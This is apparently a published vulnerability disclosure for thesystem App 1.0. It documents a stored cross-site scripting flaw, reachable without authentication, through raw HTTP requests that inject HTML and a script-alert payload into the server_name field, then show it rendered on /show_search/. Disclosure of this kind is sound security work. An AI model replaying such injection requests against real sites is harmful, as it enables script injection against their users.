thesystem App 1.0 – Persistent Cross-Site Scripting
# Exploit Title: thesystem App 1.0 - Persistent Cross-Site Scripting # Author: İsmail Güngör # Discovery Date: 2019-09-26 # Vendor Homepage: https://github.com/kostasmitroglou/thesystem # Software Link: https://github.com/kostasmitroglou/thesystem # Tested Version: 1.0 # Tested on OS: Windows 10 # CVE: N/A # Description: # Stored XSS after login bypass(login_required didn't used) First of all following request is sent web server POST /data/ HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------191691572411478 Content-Length: 332 Connection: close Referer: http://127.0.0.1:8000/data/ Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977 Upgrade-Insecure-Requests: 1 -----------------------------191691572411478 Content-Disposition: form-data; name="csrfmiddlewaretoken" 0sryZfN7NDe4UUwhjehPQxPRtaMSq85nbGQjmLc9KL79DBOsfK0Plkvp2MwPus75 -----------------------------191691572411478 Content-Disposition: form-data; name="server_name" <h1>test -----------------------------191691572411478-- After following request is sent web server GET /show_search/ HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://127.0.0.1:8000/data/ Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977 Upgrade-Insecure-Requests: 1 # Finally, response is shown Xtored XSS: HTTP/1.1 200 OK Date: Thu, 26 Sep 2019 12:25:19 GMT Server: WSGIServer/0.2 CPython/3.5.3 Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Length: 176 ('2019-09-26 14:25:01.878572', '1')('2019-09-26 15:16:11.013642', '1')('2019-09-26 15:21:52.962785', '<h1>test')('2019-09-26 15:23:50.367709', '<script>alert("kale")</script>') |